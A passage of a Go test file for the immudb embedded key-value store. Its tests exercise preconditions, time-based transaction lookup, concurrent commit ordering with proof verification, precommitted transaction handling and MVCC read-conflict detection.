Open(dir, opts)\n\trequire.NoError(t, err)\n\n\tvalRef, err = immuStore.Get(context.Background(), []byte(\"key1\"))\n\trequire.NoError(t, err)\n\trequire.Equal(t, hdr2.ID, valRef.Tx())\n\n\tvalue, err = valRef.Resolve()\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte(\"val2\"), value)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n}\n\nfunc TestImmudbPreconditionIndexing(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tt.Run(\"commit\", func(t *testing.T) {\n\t\tindexer, err := immuStore.getIndexerFor(nil)\n\t\trequire.NoError(t, err)\n\n\t\t// First add some entries that are not indexed\n\t\tindexer.Pause()\n\n\t\tfor i := 1; i < 100; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = tx.Set([]byte(fmt.Sprintf(\"key_%d\", i)), nil, []byte(fmt.Sprintf(\"value_%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = tx.AsyncCommit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\t// Next prepare transaction with preconditions - this must wait for the indexer\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"key\"), nil, []byte(\"value\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.AddPrecondition(&PreconditionKeyMustExist{\n\t\t\tKey: []byte(\"key_99\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.AddPrecondition(&PreconditionKeyMustNotExist{\n\t\t\tKey: []byte(\"key_100\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tgo func() {\n\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\tindexer.Resume()\n\t\t}()\n\n\t\t_, err = tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"commitWith\", func(t *testing.T) {\n\t\tindexer, err := immuStore.getIndexerFor(nil)\n\t\trequire.NoError(t, err)\n\n\t\t// First add some entries that are not indexed\n\t\tindexer.Pause()\n\n\t\tfor i := 1; i < 100; i++ {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\terr = tx.Set([]byte(fmt.Sprintf(\"key2_%d\", i)), nil, []byte(fmt.Sprintf(\"value2_%d\", i)))\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = tx.AsyncCommit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\tgo func() {\n\t\t\ttime.Sleep(100 * time.Millisecond)\n\t\t\tindexer.Resume()\n\t\t}()\n\n\t\t// Next prepare transaction with preconditions - this must wait for the indexer\n\t\t_, err = immuStore.CommitWith(context.Background(), func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error) {\n\t\t\treturn []*EntrySpec{{\n\t\t\t\t\tKey:   []byte(\"key2\"),\n\t\t\t\t\tValue: []byte(\"value2\"),\n\t\t\t\t}}, []Precondition{\n\t\t\t\t\t&PreconditionKeyMustExist{\n\t\t\t\t\t\tKey: []byte(\"key2_99\"),\n\t\t\t\t\t},\n\t\t\t\t\t&PreconditionKeyMustNotExist{\n\t\t\t\t\t\tKey: []byte(\"key2_100\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tnil\n\t\t}, false)\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestTimeBasedTxLookup(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tstart := time.Now()\n\n\ttime.Sleep(1 * time.Second)\n\n\t_, err = immuStore.FirstTxSince(start)\n\trequire.ErrorIs(t, err, ErrTxNotFound)\n\n\t_, err = immuStore.LastTxUntil(start)\n\trequire.ErrorIs(t, err, ErrTxNotFound)\n\n\tvar txts []int64\n\n\tconst txCount = 100\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Set([]byte(\"key1\"), nil, []byte(\"val1\"))\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, hdr)\n\n\t\ttxts = append(txts, hdr.Ts)\n\n\t\ttime.Sleep(time.Duration(rand.Intn(100)) * time.Millisecond)\n\t}\n\n\tt.Run(\"no tx should be returned when requesting a tx since a future time\", func(t *testing.T) {\n\t\t_, err = immuStore.FirstTxSince(time.Now().Add(1 * time.Second))\n\t\trequire.ErrorIs(t, err, ErrTxNotFound)\n\t})\n\n\tt.Run(\"the last tx should be returned when requesting a tx until a future time\", func(t *testing.T) {\n\t\thdr, err := immuStore.LastTxUntil(time.Now().Add(1 * time.Second))\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(txCount), hdr.ID)\n\t})\n\n\tt.Run(\"the first tx should be returned when requesting from a past time\", func(t *testing.T) {\n\t\thdr, err := immuStore.FirstTxSince(start)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(1), hdr.ID)\n\t})\n\n\tt.Run(\"no tx should be returned when requesting a tx until a past time\", func(t *testing.T) {\n\t\t_, err = immuStore.LastTxUntil(start)\n\t\trequire.ErrorIs(t, err, ErrTxNotFound)\n\t})\n\n\tfor i, ts := range txts {\n\t\thdr, err := immuStore.FirstTxSince(time.Unix(ts, 0))\n\t\trequire.NoError(t, err)\n\t\trequire.LessOrEqual(t, ts, hdr.Ts)\n\t\trequire.GreaterOrEqual(t, uint64(i+1), hdr.ID)\n\n\t\tif hdr.ID > 1 {\n\t\t\trequire.Less(t, txts[hdr.ID-2], ts)\n\t\t}\n\n\t\t_, err = immuStore.LastTxUntil(time.Unix(ts, 0))\n\t\trequire.NoError(t, err)\n\t\trequire.GreaterOrEqual(t, ts, hdr.Ts)\n\n\t\tif int(hdr.ID) < len(txts) {\n\t\t\trequire.GreaterOrEqual(t, txts[hdr.ID], ts)\n\t\t}\n\t}\n}\n\nfunc TestBlTXOrdering(t *testing.T) {\n\topts := DefaultOptions().WithMaxConcurrency(200)\n\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\tt.Run(\"run multiple simultaneous writes\", func(t *testing.T) {\n\t\twg := sync.WaitGroup{}\n\t\tdone := make(chan struct{})\n\t\tfor i := 0; i < opts.MaxConcurrency; i++ {\n\t\t\twg.Add(1)\n\t\t\tgo func(i int) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\tfor {\n\t\t\t\t\tselect {\n\t\t\t\t\tcase <-done:\n\t\t\t\t\t\treturn\n\t\t\t\t\tdefault:\n\t\t\t\t\t}\n\t\t\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\ttx.Set([]byte(fmt.Sprintf(\"key:%d\", i)), nil, []byte(\"value\"))\n\n\t\t\t\t\t_, err = tx.Commit(context.Background())\n\t\t\t\t\trequire.NoError(t, err)\n\t\t\t\t}\n\t\t\t}(i)\n\t\t}\n\t\t// Perform writes for larger time so that transactions will have different\n\t\t// timestamps\n\t\ttime.Sleep(2 * time.Second)\n\t\tclose(done)\n\t\twg.Wait()\n\t\tif t.Failed() {\n\t\t\tt.FailNow()\n\t\t}\n\t})\n\n\tt.Run(\"verify dual proofs for sequences of transactions\", func(t *testing.T) {\n\t\tmaxTxID, _ := immuStore.CommittedAlh()\n\n\t\tfor i := uint64(1); i < maxTxID; i++ {\n\n\t\t\tsrcTxHeader, err := immuStore.ReadTxHeader(i, false, false)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tdstTxHeader, err := immuStore.ReadTxHeader(i+1, false, false)\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.LessOrEqual(t, srcTxHeader.BlTxID, dstTxHeader.BlTxID)\n\t\t\trequire.LessOrEqual(t, srcTxHeader.Ts, dstTxHeader.Ts)\n\n\t\t\tproof, err := immuStore.DualProof(srcTxHeader, dstTxHeader)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifies := VerifyDualProof(proof, i, i+1, srcTxHeader.Alh(), dstTxHeader.Alh())\n\t\t\trequire.True(t, verifies)\n\n\t\t\tdproofV2, err := immuStore.DualProofV2(srcTxHeader, dstTxHeader)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tverifiesV2 := VerifyDualProofV2(dproofV2, i, i+1, srcTxHeader.Alh(), dstTxHeader.Alh())\n\t\t\trequire.NoError(t, verifiesV2)\n\t\t}\n\n\t})\n}\n\nfunc TestImmudbStoreExternalCommitAllowance(t *testing.T) {\n\topts := DefaultOptions().\n\t\tWithSynced(false).\n\t\tWithExternalCommitAllowance(true)\n\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\ttxCount := 10\n\teCount := 10\n\n\tvar wg sync.WaitGroup\n\twg.Add(txCount)\n\n\tfor i := 0; i < txCount; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor i := 0; i < eCount; i++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\t_, err = tx.Commit(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t}()\n\t}\n\n\terr = immuStore.WaitForTx(context.Background(), uint64(txCount), true)\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\tfor i := 0; i < txCount; i++ {\n\t\t\trequire.Less(t, immuStore.LastCommittedTxID(), uint64(i+1))\n\n\t\t\terr = immuStore.AllowCommitUpto(uint64(i + 1))\n\t\t\trequire.NoError(t, err)\n\n\t\t\ttime.Sleep(time.Duration(10) * time.Millisecond)\n\t\t}\n\t}()\n\n\twg.Wait()\n\n\trequire.Equal(t, uint64(txCount), immuStore.LastCommittedTxID())\n}\n\nfunc TestImmudbStorePrecommittedTxLoading(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().\n\t\tWithSynced(false).\n\t\tWithEmbeddedValues(false).\n\t\tWithExternalCommitAllowance(true)\n\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\ttxCount := 10\n\teCount := 10\n\n\tvar wg sync.WaitGroup\n\twg.Add(txCount)\n\n\tfor i := 0; i < txCount; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor i := 0; i < eCount; i++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\t_, err = tx.Commit(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\t\t}()\n\t}\n\n\terr = immuStore.WaitForTx(context.Background(), uint64(txCount), true)\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\timmuStore, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\terr = immuStore.AllowCommitUpto(uint64(txCount))\n\trequire.NoError(t, err)\n\n\terr = immuStore.WaitForTx(context.Background(), uint64(txCount), false)\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\twg.Wait()\n}\n\nfunc TestImmudbStorePrecommittedTxDiscarding(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().\n\t\tWithSynced(false).\n\t\tWithEmbeddedValues(false).\n\t\tWithExternalCommitAllowance(true)\n\n\timmuStore, err := Open(dir, opts)\n\trequire.NoError(t, err)\n\n\ttxCount := 10\n\teCount := 10\n\n\tvar wg sync.WaitGroup\n\twg.Add(txCount)\n\n\tfor i := 0; i < txCount; i++ {\n\t\tgo func() {\n\t\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor i := 0; i < eCount; i++ {\n\t\t\t\tk := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(k, uint64(i))\n\n\t\t\t\tv := make([]byte, 8)\n\t\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\t\terr = tx.Set(k, nil, v)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\n\t\t\twg.Done()\n\n\t\t\t_, err = tx.Commit(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\t\t}()\n\t}\n\n\terr = immuStore.WaitForTx(context.Background(), uint64(txCount), true)\n\trequire.NoError(t, err)\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\timmuStore, err = Open(dir, opts)\n\trequire.NoError(t, err)\n\n\tn, err := immuStore.DiscardPrecommittedTxsSince(0)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\trequire.Zero(t, n)\n\n\terr = immuStore.AllowCommitUpto(uint64(txCount / 2))\n\trequire.NoError(t, err)\n\n\tn, err = immuStore.DiscardPrecommittedTxsSince(1)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\trequire.Zero(t, n)\n\n\terr = immuStore.WaitForTx(context.Background(), uint64(txCount/2), false)\n\trequire.NoError(t, err)\n\n\t// discard all expect one precommitted tx\n\tn, err = immuStore.DiscardPrecommittedTxsSince(uint64(txCount/2 + 2))\n\trequire.NoError(t, err)\n\trequire.Equal(t, txCount/2-1, n)\n\n\trequire.Equal(t, uint64(txCount/2+1), immuStore.LastPrecommittedTxID())\n\n\t// discard latest precommitted one\n\tn, err = immuStore.DiscardPrecommittedTxsSince(uint64(txCount/2 + 1))\n\trequire.NoError(t, err)\n\trequire.Equal(t, 1, n)\n\n\trequire.Equal(t, uint64(txCount/2), immuStore.LastPrecommittedTxID())\n\n\terr = immuStore.Close()\n\trequire.NoError(t, err)\n\n\twg.Wait()\n}\n\nfunc TestImmudbStoreMVCC(t *testing.T) {\n\timmuStore, err := Open(t.TempDir(), DefaultOptions())\n\trequire.NoError(t, err)\n\n\tdefer immustoreClose(t, immuStore)\n\n\tt.Run(\"no read conflict should be detected when read keys are not updated by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Get(context.Background(), []byte(\"key2\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected even when the key was updated by another transaction if its value was not read\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key1\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when read key was updated by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key3\"), nil, []byte(\"value\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Get(context.Background(), []byte(\"key3\"))\n\t\trequire.ErrorIs(t, err, ErrKeyNotFound)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key3\"), nil, []byte(\"value\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when read key was deleted by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key4\"), nil, []byte(\"value\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Delete(context.Background(), []byte(\"key4\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Get(context.Background(), []byte(\"key4\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key4\"), nil, []byte(\"value4\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"no read conflict should be detected when read keys are not updated by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tkey, _, err := tx2.GetWithPrefix(context.Background(), []byte(\"key2\"), nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"key2\"), key)\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when read key was updated by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\tkey, _, err := tx2.GetWithPrefix(context.Background(), []byte(\"key\"), nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"key1\"), key)\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when read key was deleted by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Delete(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = tx2.GetWithPrefix(context.Background(), []byte(\"key\"), nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, []byte(\"key1\"), []byte(\"key1\"))\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when read keys have been updated by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key3\"), nil, []byte(\"value3\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key4\"), nil, []byte(\"value4\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key2\"), nil, []byte(\"value2_2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key3\"), nil, []byte(\"value3_2\"))\n\t\trequire.NoError(t, err)\n\n\t\tr, err := tx3.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 1; i <= 4; i++ {\n\t\t\tfor j := 1; j <= i; j++ {\n\t\t\t\t_, _, err = r.Read(context.Background())\n\t\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\terr = r.Reset()\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"no read conflict should be detected when read keys have been updated by the ongoing transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key3\"), nil, []byte(\"value3\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key2\"), nil, []byte(\"value2_2\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key3\"), nil, []byte(\"value3_2\"))\n\t\trequire.NoError(t, err)\n\n\t\tr, err := tx3.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 1; i <= 3; i++ {\n\t\t\tfor j := 1; j <= i; j++ {\n\t\t\t\t_, _, err = r.Read(context.Background())\n\t\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\terr = r.Reset()\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"read conflict should be detected when reading more entries than expected\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Set([]byte(\"key5\"), nil, []byte(\"value5\"))\n\t\trequire.NoError(t, err)\n\n\t\tr, err := tx3.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix: []byte(\"key\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, _, err = r.Read(context.Background())\n\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key6\"), nil, []byte(\"value6\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when read keys are deleted by another transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Delete(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\tr, err := tx3.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix:  []byte(\"key\"),\n\t\t\tFilters: []FilterFn{IgnoreDeleted},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, _, err = r.Read(context.Background())\n\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Set([]byte(\"key2\"), nil, []byte(\"value2\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTxReadConflict)\n\t})\n\n\tt.Run(\"read conflict should be detected when read keys are deleted by the ongoing transaction\", func(t *testing.T) {\n\t\ttx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx1.Set([]byte(\"key1\"), nil, []byte(\"value1\"))\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx1.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\ttx2, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\ttx3, err := immuStore.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = tx2.Delete(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\terr = tx3.Delete(context.Background(), []byte(\"key1\"))\n\t\trequire.NoError(t, err)\n\n\t\tr, err := tx3.NewKeyReader(KeyReaderSpec{\n\t\t\tPrefix:  []byte(\"key\"),\n\t\t\tFilters: []FilterFn{IgnoreDeleted},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\tfor {\n\t\t\t_, _, err = r.Read(context.Background())\n\t\t\tif errors.Is(err, ErrNoMoreEntries) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx2.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\t_, err = tx3.Commit(context.Background())\n\t\trequire.ErrorIs(t, err, 